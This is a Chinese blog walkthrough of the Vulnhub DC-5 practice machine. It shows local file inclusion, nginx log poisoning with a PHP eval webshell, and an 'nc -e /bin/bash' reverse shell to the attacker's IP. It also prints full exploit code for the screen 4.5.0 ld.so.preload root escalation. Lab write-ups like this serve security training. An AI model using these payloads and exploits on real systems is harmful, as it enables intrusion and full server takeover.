Vulnhub靶机:DC-5渗透详细过程

  • Post author:
  • Post category:其他


前情提要

靶场地址:https://www.vulnhub.com/entry/dc-5,314/

DC-5是一个中级的靶场,需要具备以下前置知识:

  • 基础的Linux命令及操作
  • 基础的渗透测试工具使用(Kali / Parrot下的工具)

翻译一下官方给出的一些信息:

这个靶场与之前的不同,需要具备中级的渗透测试技巧,只有一个可利用的入口点(也没有 SSH),你需要观察一些不寻常的(会随页面动态刷新的)东西,你的最终目标是放在root目录下的flag。

靶场攻略

信息收集

扫描c段发现目标主机ip:192.168.132.151

nmap -A -sV -p- -T4 192.168.132.151

端口开放80、111、34558,直接去web站

在留言板处发现每刷新一下数字更改

目录扫描

dirsearch -u 192.168.132.151

漏洞利用

发现一个特别目录footer.php,每刷新一次数字变化,即可能存在文件包含漏洞

尝试有没有其他文件包含

http://192.168.132.151/thankyou.php?file=index.php
http://192.168.132.151/thankyou.php?file=/etc/passwd


http://192.168.132.151/thankyou.php?file=/etc/passwd

发现外部文件也可以包含进来,所以我们尝试包含nginx的日志文件

每当我们访问一个页面,nginx就会把相关的访问记录写入日志文件 access.log的中,每当我们访问一个出错的页面,nginx就会把相关的错误访问记录写入日志文件 error.log中。nginx的日志文件一般存储在 /var/log/nginx/中。我们尝试将一句话木马写入日志文件中。

http://192.168.132.151/thankyou.php?file=/var/log/nginx/access.log

使用bp修改数据包数据,写入一句话木马

<? php @eval($_REQUEST[666])?>

写入成功、蚁剑链接

通过蚁剑反弹shell

nc -e /bin/bash 192.168.132.139 4443

kali: nc -lvnp 4443

python -c 'import pty;pty.spawn("/bin/bash")

提权

查看具有特殊权限的二进制文件

查找一下可以用root权限的命令

find / -perm -u=s -type f 2>/dev/null

发现特殊文件 screen 4.5.0

searchsploit screen 4.5.0

将41154.sh文件拷贝下来

cp /usr/share/exploitdb/exploits/linux/local/41154.sh

因为直接执行该脚本错误,所以需要对该脚本完成如下工作

通过分析,我们将代码分成三部分

1、将bash文件上的一部分代码单独复制出来 到libhax。c

编译libhax.c文件:

gcc -fPIC -shared -ldl -o libhax.so libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

2、将另一部分c另存为rootshell.c

编译rootshell.c文件:

gcc -o rootshell rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

3、将41154.sh剩余部分保存为dc5.sh,并使用 :set ff=unix 进行保存

#!/bin/bash

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

使用蚁剑将三个文件上传到/tmp目录下

我dc5.sh添加可执行权限,执行dc5.sh 成功获取root权限

chmod +x dc5.sh
ls -l
./dc5.sh

科普

这里科普一下文件包含的利用,存在文件包含意味着我们可以读取当前权限下的任意文件。但是,也不仅仅是读文件,服务器一般都会存在

日志文件

来记录我们的请求,如果我们往请求里写了一些代码,再把这个日志文件包含进来,这些代码就会在服务器端被执行,我们就能拿到

webshell

了。再进一步,如果这个文件包含可以包含远程文件,那么我们也可以把

webshell

挂在我们自己的机器上,将其作为参数传入服务器包含执行,这样也可以

getshell

。远程文件包含也称 RFI,利用条件比本地文件包含 LFI 会更苛刻,出现几率也比较小,这个靶场环境没有:)



版权声明:本文为weixin_45996361原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。